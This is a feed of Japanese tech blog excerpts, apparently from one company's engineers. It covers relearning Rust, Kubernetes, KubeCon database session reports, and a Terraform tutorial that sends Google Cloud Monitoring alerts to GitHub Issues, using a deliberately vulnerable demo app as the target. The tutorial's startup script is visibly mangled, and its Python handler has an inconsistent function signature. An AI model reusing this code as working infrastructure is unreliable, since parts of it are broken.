がリリースされる。SREとしての展望今後は、Rustで構築されたマイクロサービスや高性能なバックエンドサービスのためのインフラ構築や運用の機会が増えていくことが予想されます。特に、コンテナ環境でのデプロイメントやクラウドネイティブな環境でのインフラ構築において、Rustアプリケーションの特性を最大限に活かすための設計が求められるでしょう。例えば、Rustの低メモリ消費という特徴を活かしたコンテナリソースの最適化や、高速な実行速度を考慮したオートスケーリングの設計など、アプリケーションの特性に合わせたインフラストラクチャの構築が重要になってきます。また、モニタリングやログ収集といった運用基盤においても、Rustアプリケーションに適した構成を検討していく必要があるでしょう。SREとしてRustのプロダクションデプロイメントに関わる場合は、Zero To Production In Rustを参照することをお勧めします。この書籍では、Rustアプリケーションの本番環境への展開に関する実践的なガイドラインが提供されています。www.zero2prod.comRustの再入門のための学習コンテンツ再入門にあたり、Rustの最新のプラクティスやエコシステムの変化をキャッチアップするため、いくつかの資料に取り組みました。特に有用だった書籍を紹介していきます。書籍の良さは情報を俯瞰できる点にあると考えています。わからない点があればLLMに質問することができますので⋯。なお、この記事はRustの基礎知識がある方向けの再入門という観点で資料を選定しているため、完全な初学者向けの内容は含んでいません。参照したドキュメントや内容の詳細については、Xで共有しているドキュメントをご確認ください。プログラミングRust 第2版 を読んで可能な限り手を動かす会を実施します。https://t.co/rmUpbPtK9O— nwiizo (@nwiizo) 2024年11月21日 読んだ本についての定義についてはこちらを参考にしてほしいです。読んでいない本について堂々と語る方法 (ちくま学芸文庫)作者:ピエール・バイヤール,大浦康介筑摩書房Amazonまた、yuk1tydさんのドキュメントは2021年時点の情報ですが、現在も十分に有用な内容となっているためおすすめです。blog-dry.com書籍Programming Rust, 2nd EditionO\'Reilly Mediaから出版されている本書は、Rustの基本的な概念から高度な機能まで包括的に解説する定番の教科書です。特に所有権やライフタイム、並行処理といったRustの特徴的な機能について、実践的な例を交えながら詳細に説明されています。本当に再入門してから何度も読んでいる。生成AIに聞くか本を読むか実際に書いていくかの三択である。Programming Rust: Fast, Safe Systems Development作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F SO\'Reilly MediaAmazon2021年の第2版では、Rust 2021 Editionに対応し、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が大幅に加筆されました。特に、パフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から解説している点が特徴です。再三にはなるが2024 Rdition がリリースされる。それに合わせて再び書籍が出されるのが楽しみである。3年毎にリリースがあるのは早すぎず遅すぎずちょうど嬉しい。これまでと違う学び方をしたら挫折せずにRustを学べた話 / Programming Rust techramen24conf LTでも紹介されているように、本書は体系的な学習を可能にする構成と、実践的な例示の豊富さが特徴です。特に、Rustの概念モデルを丁寧に解説している点は、言語仕様の深い理解につながります。再入門時の体系的な知識のアップデートに最適な一冊といえるでしょう。 speakerdeck.comまた、日本語の書籍も出ているので感謝すべきである。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonバックエンドエンジニアを目指す人のためのRust翔泳社から出版されているこの入門書は、実践的なプロジェクトを通じてRustを学ぶアプローチを採用しています。計算クイズからTODOアプリまで、段階的に難易度を上げながら、バックエンドエンジニアに必要な技術要素をカバーしている点が特徴です。バックエンドエンジニアを目指す人のためのRust作者:安東 一慈,大西 諒,徳永 裕介,中村 謙弘,山中 雄大翔泳社Amazon本書の優れている点は、各プロジェクトを通じて特定のRustの概念を深く掘り下げる構成にあります。例えば、ポーカーゲームの実装を通じてデータ構造の理解を深め、家計簿プログラムでファイルI/Oを学び、画像処理ツールで並列処理を実践的に理解できます。また、Cargoによるパッケージ管理、ユニットテスト、リンター、フォーマッターといった実務で重要となる開発ツールの活用方法も丁寧に解説されています。特筆すべきは、エラーハンドリングやOption/Result型の扱いなど、Rustの特徴的な機能を実際のユースケースに即して学べる点です。さらに、Webアプリケーション開発からデプロイメントまでをカバーしており、現代のバックエンド開発の実践的なスキルが身につく構成となっています。ただし、この本はプログラミング言語としてのRustの入門書として優れているものの、プログラミング未経験者にはRust自体の学習難度が高いため、他の言語での開発経験がある方に特にお勧めします。体系的な構成と実践的なプロジェクトを通じた学習アプローチは、技術書の模範となる一冊といえるでしょう。www.estie.jpコミュニティと情報源Rustの再入門において、コミュニティへの参加は技術的な成長と最新動向の把握に重要な役割を果たしています。日本のRustコミュニティは活発な技術交流が行われています。Rust.TokyoRust.Tokyoは日本最大のRustカンファレンスで、年に一度開催される重要なイベントです。私は再入門直後にこのカンファレンスに参加することになり、登壇資料の準備に追われる事態となりましたが、結果的に学習のよい動機付けとなりました。カンファレンスでは、企業での採用事例や実装のベストプラクティス、パフォーマンスチューニングの知見など、実践的な内容が数多く共有されます。また、国内外のRustコミュニティのメンバーとの交流を通じて、最新のトレンドやツール、開発手法について直接学ぶ機会も得られます。Rust-jp ZulipRust-jp Zulipは、日本のRustコミュニティの中心的なコミュニケーション基盤です。SlackやDiscordと異なり、トピックベースの会話構造を持つZulipを採用することで、過去の議論や質問への回答を効率的に検索できる点が特徴です。このプラットフォームでは、初心者向けの基本的な質問から、高度な実装の相談まで、幅広いディスカッションが日本語で行われています。特に、実務での問題解決やコードレビュー、アーキテクチャの相談など、実践的な議論が活発に行われており、再入門者にとって貴重な学習リソースとなっています。学びの記録2017年の実践パケット解析の実装Webフレームワーク検証Rust関連記事一覧2024 年やったことRustでterraform plan/apply のターゲット指定を簡単にするツールを作ってみた - tfocusの仕組みと使い方退屈なことはRust Build Scripts にやらせようRustで郵便番号・住所検索TUIツールを開発した - jpostaRustによる郵便番号検索API (yubin_api) の技術解説tfocusexpjpostcode_rsおわりに2017年の経験は、今となっては貴重な財産です。言語に入門し、一度は挫折を経験しながらもプロダクトへの導入に挑戦したこと、そして結果的に撤退を選択せざるを得なかったことは、私にとって大きな学びとなりました。この貴重な経験と適切な判断へと導いてくれた当時のメンターには感謝しています。パッケージ管理の困難さ、破壊的変更への対応、そして継続的な開発の課題 - これらの経験があったからこそ、現在のRustエコシステムの進化をより深く理解できています。Rustは単なるプログラミング言語の進化を超えて、エコシステム全体として大きく成長しました。特に、かつて私が直面した課題の多くが、コミュニティの成熟とツールチェーンの進化によって解決されつつあります。実践的なユースケースの蓄積は、次世代のシステム開発における新たな可能性を示唆しています。Rust 2024エディションのリリースを控え、言語とエコシステムはさらなる進化を遂げようとしています。SREとしても、このような発展を続けるRustの動向を把握し、実践的な知識を蓄積していくことは、将来への重要な投資になると確信しています。この記事を読んでいる方々も、ぜひこの成長と進化の過程に参加してみませんか?初めての方も、かつて離れた方も、今こそRustと再会するベストなタイミングかもしれません。","isoDate":"2024-12-11T16:39:50.000Z","dateMiliSeconds":1733935190000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"GolangからPagerdutyのインシデントを発砲する","link":"https://zenn.dev/tayusa/articles/9091399d6a9018","contentSnippet":"目的Golangで作成したアプリケーションからPagerdutyの任意のインシデントを発砲する Event API v2https://developer.pagerduty.com/docs/3d063fd4814a6-events-api-v2-overview高信頼性、高可用性の非同期APIでシステムからマシンイベントを取り込みます。このAPIに送られたイベントは最終的にPagerDutyサービスにルーティングされ処理されます Event Types Alert監視システムの問題。 既存のアラートを確認または解決するためにイベントを送信することができる...","isoDate":"2024-12-11T13:30:34.000Z","dateMiliSeconds":1733923834000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Google Cloud monitoringのアラートをGitHub Issueに通知する","link":"https://kechigon.hatenablog.com/entry/2024/12/11/182649","contentSnippet":"タイトルの通り、Google Cloud monitoringのアラートをGitHub Issueに通知するシステムの構築方法を紹介します。terrafromを使って作成します。コードはGitHubリポジトリにまとまっています。github.comこのコードをapplyすることで、Webサービス(EasyBuggy)、監視、アラートをIssueに持っていくパイプラインがデプロイされます。システム図このような構成をとっています。main.tf早速コードを紹介していきます。このファイルでは、EasyBuggyという脆弱なWebサービスをGCEにデプロイします。terraform { required_providers { google = { source = \\"hashicorp/google\\" version = \\"5.39.0\\" } }}provider \\"google\\" { credentials = var.credential_file project = var.project region = var.region}resource \\"google_compute_instance\\" \\"easybuggy\\" { name = \\"easybuggy-instance\\" machine_type = \\"n1-standard-1\\" zone = var.zone boot_disk { initialize_params { image = \\"debian-cloud/debian-11\\" } } network_interface { network = \\"default\\" access_config {} } metadata = { \\"enable-osconfig\\" = \\"true\\" } metadata_startup_script = < /dev/nullsudo apt-get updatesudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-pluginsudo git clone https://github.com/k-tamura/easybuggy.gitcd easybuggysudo docker build . -t easybuggy:local sudo docker run -p 8080:8080 easybuggy:local EOF}resource \\"google_compute_firewall\\" \\"allow-home-ip\\" { name = \\"allow-home-ip\\" network = \\"default\\" allow { protocol = \\"tcp\\" ports = [\\"8080\\"] } source_ranges = [var.my_ip]}output \\"instance_ip\\" { value = google_compute_instance.easybuggy.network_interface[0].access_config[0].nat_ip}monitoring.tfこちらのファイルでは監視、アラートをIssueに持っていくパイプラインをデプロイします。main.tfでデプロイしたインスタンスのCPU使用率が80%を超えるとアラートが発生します。resource \\"google_pubsub_topic\\" \\"alerts_topic\\" { name = \\"alerts-topic\\"}resource \\"google_pubsub_subscription\\" \\"alerts_subscription\\" { name = \\"alerts-subscription\\" topic = google_pubsub_topic.alerts_topic.name}resource \\"google_monitoring_notification_channel\\" \\"pubsub_channel\\" { display_name = \\"Pub/Sub to Cloud Function\\" type = \\"pubsub\\" labels = { \\"topic\\" = google_pubsub_topic.alerts_topic.id }}resource \\"google_pubsub_topic_iam_binding\\" \\"alerts_topic_publisher\\" { topic = google_pubsub_topic.alerts_topic.name role = \\"roles/pubsub.publisher\\" members = [ \\"serviceAccount:service-${var.project_id}@gcp-sa-monitoring-notification.iam.gserviceaccount.com\\" ]}resource \\"google_storage_bucket\\" \\"easybuggy_monitoring_function_bucket\\" { name = \\"easybubby_monitoring-functions-bucket\\" location = \\"ASIA-NORTHEAST1\\" force_destroy = true}resource \\"google_storage_bucket_object\\" \\"function_source_object\\" { name = \\"function-source.zip\\" bucket = google_storage_bucket.easybuggy_monitoring_function_bucket.name source = \\"function-source.zip\\"}resource \\"google_cloudfunctions_function\\" \\"issue_creator_function\\" { name = \\"issue-creator-function\\" description = \\"Receive Pub/Sub message from Google Cloud Monitoring and create a GitHub issue\\" runtime = \\"python39\\" source_archive_bucket = google_storage_bucket.easybuggy_monitoring_function_bucket.name source_archive_object = google_storage_bucket_object.function_source_object.name entry_point = \\"main\\" region = var.region environment_variables = { \\"GITHUB_API_TOKEN\\" = var.github_api_token \\"GITHUB_REPO\\" = var.github_repo \\"GITHUB_OWNER\\" = var.github_owner } event_trigger { event_type = \\"providers/cloud.pubsub/eventTypes/topic.publish\\" resource = google_pubsub_topic.alerts_topic.id }}resource \\"google_monitoring_alert_policy\\" \\"cpu_usage_policy\\" { display_name = \\"High CPU Utilization Alert\\" combiner = \\"OR\\" conditions { display_name = \\"CPU usage over 80%\\" condition_threshold { filter = \\"metric.type=\\\\\\"compute.googleapis.com/instance/cpu/utilization\\\\\\" AND resource.type=\\\\\\"gce_instance\\\\\\"\\" duration = \\"60s\\" comparison = \\"COMPARISON_GT\\" threshold_value = 0.8 } } enabled = true notification_channels = [google_monitoring_notification_channel.pubsub_channel.id]}main.pyfunctionsで実行されるコードです。pub/subから受け取ったデータからアラートのtitleとbodyを抜き出してGithub Issueにポストします。import base64import jsonimport osimport loggingimport requestsfrom flask import Flask, requestapp = Flask(__name__)GITHUB_API_TOKEN = os.environ.get(\'GITHUB_API_TOKEN\')GITHUB_REPO = os.environ.get(\'GITHUB_REPO\')GITHUB_OWNER = os.environ.get(\'GITHUB_OWNER\')logging.basicConfig(level=logging.INFO)logger = logging.getLogger(__name__)def create_github_issue(data): issue_title = f\\"Alert: {data[\'incident\'][\'incident_id\']}\\" issue_body = data[\'incident\'][\'summary\'] logger.info(f\\"Creating issue with title: {issue_title} body: {issue_body}\\") response = requests.post( f\\"https://api.github.com/repos/{GITHUB_OWNER}/{GITHUB_REPO}/issues\\", headers={ \\"Authorization\\": f\\"token {GITHUB_API_TOKEN}\\", \\"Accept\\": \\"application/vnd.github.v3+json\\", }, json={ \\"title\\": issue_title, \\"body\\": issue_body, }, ) if response.status_code == 201: logger.info(\\"Issue created successfully\\") return \\"Issue created successfully\\", 201 else: logger.error(f\\"Failed to create issue: {response.content}\\") return f\\"Failed to create issue: {response.content}\\", response.status_code@app.route(\'/\', methods=[\'POST\'])def main(d, context): #Need to receive arguments envelope = request.get_json() if not envelope: logger.error(\\"No envelope received\\") return \\"Bad Request\\", 400 logger.info(f\\"envelope: {envelope}\\") pubsub_data = envelope.get(\'data\', {}) logger.info(f\\"pub_sub_data\\") if not pubsub_data: logger.error(f\\"No outside data received: \\") return \\"Bad Request\\", 400 try: data_base64 = pubsub_data.get(\'data\', \'\') if not data_base64: raise ValueError(\\"No data field in outside data\\") data = base64.b64decode(data_base64.encode(\'utf-8\')).decode(\'utf-8\') logger.info(f\\"Decoded data: {data}\\") data = json.loads(data) logger.info(f\\"Received data: {data}\\") except Exception as e: logger.error(f\\"Error processing message: {e}\\") return \\"Bad Request\\", 400 return create_github_issue(data)if __name__ == \\"__main__\\": app.run()デプロイ内容を理解したらterraform applyしましょう。アプライが成功したらインスタンスIPが表示されます。動作確認http://instance_ip:8080にブラウザでアクセスするとこのような画面になります。「無限ループ」のリンクを押し、無限ループを発生させましょう。CPU使用率が80%を超えたことを確認し、GitHub Issueを確認すると、アラートが通知されています。以上がGoogle Cloud monitoringのアラートをGitHub Issueに通知する流れとなります。","isoDate":"2024-12-11T09:26:49.000Z","dateMiliSeconds":1733909209000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"Kube-schedulerプラグインCoschedulingを体験してみた","link":"https://zenn.dev/k_nagase/articles/co_scheduling","contentSnippet":"本記事は 3-shake Advent Calendar 2024 シリーズ 1 の 11 日目の記事です。 はじめにここ最近Kubernetesのスケジューリングについて調査する機会があり、その一環でスケジューラープラグインの1つであるCoschedulingについても調査しました。この時の調査と簡単なハンズオンについてこの記事でまとめてみたいと思います。Kubernetesのコントロールプレーンの1コンポーネントであるスケジューラはpluginによる機能拡張が可能です。プラグインは以下のリポジトリにまとまっています。https://github.com/kubernetes...","isoDate":"2024-12-11T01:00:01.000Z","dateMiliSeconds":1733878801000,"authorName":"Kohei Nagase","authorId":"k-nagase"},{"title":"コマンド一発で、本格的なおうちKubernetesを構築する","link":"https://speakerdeck.com/melanmeg/komando-fa-de-ben-ge-de-naoutikuberneteswogou-zhu-suru","contentSnippet":"作成したリポジトリ:\\rhttps://github.com/melanmeg/k8s_1-30_on_noble\\r\\r参考:\\rhttps://github.com/unchama/kube-cluster-on-proxmox\\rhttps://k8sh.net/arch/\\rhttps://www.server-world.info/query?os=Ubuntu_24.04&p=kubernetes&f=1\\rhttps://www.youtube.com/watch?v=7BLmtR1nhcY","isoDate":"2024-12-10T05:00:00.000Z","dateMiliSeconds":1733806800000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"スリーシェイクインタビュー: 技術顧問 うたもくさん編","link":"https://sreake.com/blog/interview-utam0k/","contentSnippet":"こんにちは。スリーシェイクのSreake事業部所属の早川(@bells17)です。 今回は7月からスリーシェイクの技術顧問に就任してもらったうたもくさん(@utam0k)に対談形式でインタビューをさせていただきましたので […]The post スリーシェイクインタビュー: 技術顧問 うたもくさん編 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-10T04:16:19.000Z","dateMiliSeconds":1733804179000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Japan.R 2024で構造化ログについて発表した","link":"https://blog.atusy.net/2024/12/10/japanr-logging/","contentSnippet":"オフラインイベントはリアクションがもらえて楽しい。準備や質問を通じて学びもいっぱい。またやりたい。","isoDate":"2024-12-10T00:00:00.000Z","dateMiliSeconds":1733788800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"LookMLで値を変換したい?それならcaseはいかが?","link":"https://zenn.dev/nedoko_dok0dko/articles/c677f78d5ae2b0","contentSnippet":"はじめに※本投稿はLooker Advent Calendar 2024 の10日目の記事となりますはじめまして。偶然業務でLookerに出会い、そこから色々触っているデータエンジニアです。Lookerについてはまだまだ駆け出しの身ではありますが、少しずつ分かる事が増え、Lookerへの理解が深まってきたと感じています。今回はそんな初心者がLookerのフィールドパラメータであるcaseを触ってみた話です。 想定読者Lookerについて基本概要を知っているLookMLを知っているLookMLを触ったことがある・実装したことがある 背景・経緯※情報に関して...","isoDate":"2024-12-09T16:42:38.000Z","dateMiliSeconds":1733762558000,"authorName":"seno","authorId":"seno"},{"title":"オレのNeovim見て! 2024","link":"https://blog.atusy.net/2024/12/09/awesome-my-neovim/","contentSnippet":"Vim/Neovimに興味を持ってほしくて、私のNeovimのカッコイイところ集を作ってみました。","isoDate":"2024-12-09T00:00:00.000Z","dateMiliSeconds":1733702400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"「Cloud Run functions」にコンテナがデプロイできるの知ってる?","link":"https://zenn.dev/kimitsu/articles/deploy-container-to-cloud-run-functions","contentSnippet":"!本記事はネタ記事です!Cloud Run functions は Google Cloud の FaaS です。ユーザはコンテナ、ランタイム、Web サーバーを管理することなく、コードを書くだけでデプロイすることができます。本来はコンテナ化が不要な Cloud Run functions ですが、コンテナをデプロイできることをご存知でしょうか。 Cloud Run functions の仕組みユーザが Cloud Run functions にデプロイしたコードは複数の抽象化レイヤーの上で動きます。[1]一番内側にユーザが書いたコードがあり、その下にはまず Func...","isoDate":"2024-12-08T13:16:22.000Z","dateMiliSeconds":1733663782000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":" KubeCon NA 2024: The Future of DBaaS on Kubernetesのセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/08/kubecon_na_the_future_of_dbaas_ob_kubernetes","contentSnippet":"この記事は以下アドベントカレンダー8日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ2The Future of DBaaS on Kubernetesのセッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7kL/the-future-of-dbaas-on-kubernetes-melissa-logan-constantia-sergey-pronin-percona-deepthi-sigireddi-planetscale-gabriele-bartolini-edbセッション動画:https://www.youtube.com/watch?v=Z35SlsYd1ds「The Future of DBaaS on Kubernetes」は、Data on Kubernetes Communityのメンバーによるパネルディスカッション形式で、Kubernetes上で動作するDBaaSの将来について議論されました。ここ数年でデータベースをKubernetes上で動かすにあたりどう便利になったか?セッションでは、Kubernetesにおけるストレージとネットワーキングの進化が、データベース運用を大きく改善した点が強調されました。Volume Snapshotなどのストレージ関連機能の向上は、バックアップとリカバリといったDay 2 Operationを効率化し、Local Persistent Volumeの導入と改善は、データベースの高可用性とディザスタリカバリ構成をシンプルに実現可能にしました。また、Cilium Network PolicyやIngress/Egressといったネットワーキング機能は、マルチテナントサービスにおけるアクセス制御を容易にし、セキュリティ強化に貢献しています。これらの改善により、増加するデータベースと、優秀なデータベースエンジニア不足という課題に対し、Kubernetesは少ない人員でデータベースをスケールさせる有効な手段となっています。数年前に比べ、Kubernetes上でのデータベース運用はより現実的になり、エンタープライズグレードの運用にも耐えうるレベルに達しています。これは、Kubernetesがステートレスなアプリケーションだけでなく、ステートフルなデータベースにも適したプラットフォームへと進化したことを示しています。私がKubernetesを触り始めた時点ではここで紹介されているほとんどの機能はサポートされており、なぜKubernetesでデータベースを運用することが難しいのかを理解しきれない面がありました。このセクションによる直近のデータベース観点でのKubernetesのアップデートの紹介により、何が障壁でそれがどのように解決されたのかの理解が深まりました。Kubernetes上でデータベースを動かしている顧客についてシェアできる事例はあるか?セッションでは、Nokia、Broadcom、HubSpot、Shopify、IBMなど、様々な企業がKubernetes上でデータベースを運用している事例が紹介されました。これらの事例は、マイクロサービスアーキテクチャの普及と密接に関連しています。マイクロサービス化されたアプリケーションでは、単一のモノリシックなデータベースではなく、サービスごとにデータベースを持つ傾向があり、Kubernetesはそのような分散データベース環境の構築と管理を容易にします。特に、開発者がデータベースを所有し、インフラ管理者がDBaaSをインターフェイスとしてデータベースを払い出すという新しい運用モデルは、今後の主流となる可能性を示唆しています。これは、DevOpsの原則をデータベース運用に取り入れることで、開発速度と運用効率を向上させるアプローチと言えるでしょう。セクション内で紹介されている開発者がデータベースを所有し、インフラ管理者がデータベースを払い出すという体制はパブリッククラウドで運用されるマイクロサービスアーキテクチャでは当たり前のように実践されており、Kubernetesでも今後の主流となると考えることは不思議ではないでしょう。そしてそれは従来のVMやベアメタルベースのDBAがデータベース管理を行うには多すぎるデータベースが運用され、限界を迎えることは想像に難くなく、KubernetesとOperatorによる運用の簡略化は必須と言えるかもしれません。Kubernetes上でデータベースを動かすにあたりベストプラクティスはなにか?ベストプラクティスとして、クラウド中立性、クラウドレディネス、セルフサービス、セキュリティ、アーキテクチャ設計などが挙げられました。Operatorの活用は、クラウドベンダーに依存しない運用を実現する上で重要であり、UI/APIの整備やArgoCDなどのツールとの連携により、データベースのプロビジョニングと管理を自動化できます。また、開発者が容易にスケーリングやテスト環境構築を行えるセルフサービス環境も重要です。セキュリティについては、業界標準やコンプライアンス要件に合わせたポリシー設定が不可欠です。アーキテクチャ設計では、PostgreSQLを例に、Kubernetesの機能を活用した高可用性構成や、複数のアベイラビリティゾーンを考慮した設計が重要となります。さらに、Kubernetesの標準APIを活用することで、オブザーバビリティやセキュリティ、証明書の管理を簡素化し、他のコンポーネントとの統合を容易にすることが推奨されています。VMからの移行時には、ストレージを分離することでリソース管理の予測精度を高めることが重要です。ここではベストプラクティスとしてユーザーがセルフサービスでデータベースを立ち上げる方法としてGUIとAPIとツール連携による自動化二つの観点が出ていました。個人的にはパブリッククラウドとIaCの流れを見るにGUIベースよりAPIによる自動化が主流になっていくのではないかと考えます。またデータベースではないですがオンプレミスのVMベースシステムからKubernetesのコンテナベースに移行するプロジェクトに関わった時は独自のプロトコルによる通信をVMで実装しており、その方法をコンテナの世界に持ち込もうとした結果非常に複雑になっていた事例を見たことがあります。そのため、ここで紹介されているKubernetesとそのエコシステムに合わせることは不可欠ではないかと感じます。データベースをKubenetesで動かす場合の課題や落とし穴はあるか?セッションでは、VM環境での運用とKubernetes環境での運用を混同してしまうこと、マイグレーション計画の不足、リソースの過剰確保、そして人材育成の課題が議論されました。既存のVM向けスクリプトをそのままKubernetesに適用しようとするのではなく、クラウドネイティブな考え方を取り入れ、スケーラビリティと信頼性の向上に焦点を当てるべきです。マイグレーションにおいては、全てのワークロードの移行と、ダウンタイム最小化を両立するための綿密な計画が必要です。リソース管理においては、Kubernetesの柔軟性を活かし、適切なリソース割り当てを行うための実験と調整が重要です。さらに、DBAがKubernetesの基礎知識を習得し、データベース運用における新たなパラダイムシフトに対応できるよう、人材育成に力を入れる必要があります。このセッションを通して一番に感じたのはオンプレからパブリッククラウドへの移行と気にするところは同じだということと、DBAとKubernetesの距離を近づけることはやはり大事だということでした。特にDBAとKubernetesについてはより簡単なソリューションとして存在してしまっているマネージドデータベースが、Kubernetesを利用することから目を背けさせてしまう要因になっていると感じます。しかしDBAがより求められるのはデータベースをセルフホストする場合で、今後DBAとして活躍していくにはLinuxに適応してきたようにKubernetesに適応していく日強うがあると考えています。DBaaSの将来はどのように変わっていくと考えるか?将来のDBaaSは、Kubernetesとの統合がさらに深まり、データベースとKubernetesの境界が曖昧になっていくと予測されています。PostgreSQLの例では、Kubernetesとの親和性を高めるためのパッチ適用や、拡張機能のコンテナ化などが進んでいます。また、プライベートDBaaSだけでなく、商用DBaaSのKubernetes上での提供も増加し、データベースサービスの利用がさらに容易になると考えられます。Google Cloudなどのクラウドプロバイダーも、将来的にKubernetes上でマネージドデータベースサービスを提供する可能性があり、これにより、数千規模のデータベース管理が容易になるでしょう。Kubernetesの普及と成熟に伴い、Helm ChartやYAML以外の、より洗練されたUXも期待されます。セッション内ではGoogle CloudではCloud SQLがKubenetes1で運用される未来があるかもしれないと言及していましたが、すでにSpannerはKubernetesで動いています。商用DBaaSがKubernetesで動くことについてはよくある構成ですが、プライベートDBaaSがKubernetes上で動き、さまざまなエコシステムと組み合わせてAPIベースなど自動化に適したUXが提供されていくことには非常に注目しています。まとめ「The Future of DBaaS on Kubernetes」セッションは、Kubernetes上でのデータベース運用が成熟期を迎えていることを示しました。ストレージとネットワーキングの進化、Operatorの普及、そして様々な企業での成功事例は、Kubernetesがデータベース運用のための堅牢でスケーラブルなプラットフォームであることを証明しています。クラウドネイティブなアプローチ、セルフサービス化、セキュリティ強化、そして適切なアーキテクチャ設計は、Kubernetes上でのデータベース運用を成功させるための鍵となります。同時に、VM環境からの移行、リソース管理、人材育成といった課題にも適切に対処する必要があります。今後のDBaaSは、Kubernetesとの統合がさらに進み、データベースサービスの利用がより容易になると期待されます。このセッションで得られた知見は、今後のデータベース運用戦略策定に役立つ貴重な情報源となるでしょう。特に、オンプレミスでマイクロサービスアーキテクチャを採用する組織にとって、Kubernetesはデータベース運用における重要な選択肢となるでしょう。↩","isoDate":"2024-12-08T03:00:00.000Z","dateMiliSeconds":1733626800000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"KubeCon NA 2024: When Life Gives You Containers, Make an Open Source RDS: A Kubernetes Love Story のセッションレポート","link":"https://nnaka2992.hatenablog.com/entry/2024/12/11/when_life_gives_you_containers_make_an_open_source_rds_a_kubernetes_love_story","contentSnippet":"この記事は以下アドベントカレンダー11日目の記事です。3-shake Advent Calendar 2024 シリーズ2Kubernetes Advent Calendar 2024 シリーズ1When Life Gives You Containers, Make an Open Source RDS: A Kubernetes Love Story セッションレポートセッション概要:https://kccncna2024.sched.com/event/1i7kn/when-life-gives-you-containers-make-an-open-source-rds-a-kubernetes-love-story-sergey-pronin-perconaセッション動画:https://www.youtube.com/watch?v=0gSSmdNB-Zoこのセッションは、オープンソースRDS、あるいはオープンソースDBaaSをKubernetes上で構築・運用する道のりを、物語風に語っています。セッションを通して、Kubernetes上でデータベースを運用することへの不安や課題を解消し、そのメリットと可能性を提示することを目指していると感じました。なぜKubernetesでデータベースを動かすのか?セッション冒頭では、スピーカーが4年前はKubernetesでデータベースを動かすことに懐疑的だったものの、現在は大きく考えが変わっていることが語られています。その理由として、クラウドニュートラル戦略、コスト削減、そして自動化の3点が挙げられています。特に自動化は、高可用性構成、Blue/Greenデプロイ、フェイルオーバーなどを容易にする点で重要です。これらのメリットは、マイクロサービスアーキテクチャやクラウドネイティブ開発において、データベース運用を効率化し、DevOps実践を促進する上で大きな力となります。従来の運用では、データベースのデプロイや管理に多くの手作業が必要でしたが、Kubernetesと自動化ツールを組み合わせることで、これらの作業を大幅に簡素化し、開発スピードの向上に貢献できます。一方、Kubernetes上でのデータベース運用に対する懸念として、パフォーマンスの劣化、Kubernetes自体の成熟度、そして複雑さが挙げられています。これらの懸念は、データベースエンジニアとして当然抱くものであり、セッション全体を通してこれらの懸念への回答が提示されています。このセクションでは、Kubernetes上でデータベースを運用する上でのメリットと課題が明確に示されており、導入を検討する上で重要なポイントが提示されています。特に、クラウドネイティブな環境におけるデータベース運用の重要性が強調されていました。また単純なメリット・デメリット以上にユーザーの感情面にフォーカスしているところが印象的でした。Chapter 1: Enthusiasm and Kubernetes 101: Kubernetesの基本と進化この章では、Kubernetes上でデータベースを動かすための基本的なステップが段階的に示されています。Pod、Persistent Volume Claim (PVC)、Service、Secret、ConfigMap、StatefulSet、そしてHA構成のためのエージェントとProxyの導入といった流れは、Kubernetesにおけるデータベース運用の進化を理解する上で非常に有用です。特に、StatefulSetの導入は、データベースのようなステートフルアプリケーションの運用において大きな進歩です。Podの順序付けられたデプロイ、安定したネットワークID、永続ストレージへのアクセスなど、StatefulSetが提供する機能は、データベースの高可用性と安定運用に不可欠です。しかし、これらの構成要素を手作業で管理することは複雑でエラーを起こしやすいため、IaCの導入が推奨されています。IaCを用いることで、インフラストラクチャのコード化、自動化、バージョン管理が可能となり、再現性と信頼性の高いデプロイを実現できます。TerraformやAnsible、ArgoCD、HelmなどのIaCツールは、Kubernetesの構成管理を簡素化し、複数環境へのデプロイを容易にします。これは、DevOpsの原則である「Infrastructure as Code」を実践する上で非常に重要なステップです。この章では、Kubernetes上でデータベースを動かすための基本的な構成要素と、IaCの重要性が説明されています。IaCを用いることで、複雑なKubernetes環境を効率的に管理し、再現性と信頼性を向上させることができる点が強調されていました。またIaCのパラメータを変更することで複数環境をデプロイできるところからDBaaSの最初の一歩を踏み出したととらえることができました。Chapter 2: Disillusionment and Operators 101: OperatorによるDay 2 Operationの簡素化IaCによってデプロイは容易になりますが、運用、つまりDay 2 Operationは依然として複雑です。アップグレード、スケーリング、フェイルオーバー、バックアップ、モニタリング、メンテナンス、リカバリといったタスクは、手作業で行うと大きな負担となります。ここでOperatorが登場します。Operatorは、Kubernetesの拡張機能であり、特定のアプリケーションのデプロイと管理を自動化します。データベースOperatorは、データベースのライフサイクル全体を管理し、Day 2 Operationを大幅に簡素化します。Operatorの導入により、データベース管理者はKubernetesの内部構造を深く理解する必要がなくなり、データベース運用に集中できます。これは、運用コストの削減と効率性の向上に大きく貢献します。また、Operatorは宣言的な設定をサポートしており、運用作業の自動化と標準化を促進します。しかし、Operatorだけでは真のDBaaSとは言えません。セルフサービスポータル、マルチクラスタ対応、詳細なモニタリング、課金機能など、DBaaSに必要な機能は多岐に渡ります。この章では、OperatorがDay 2 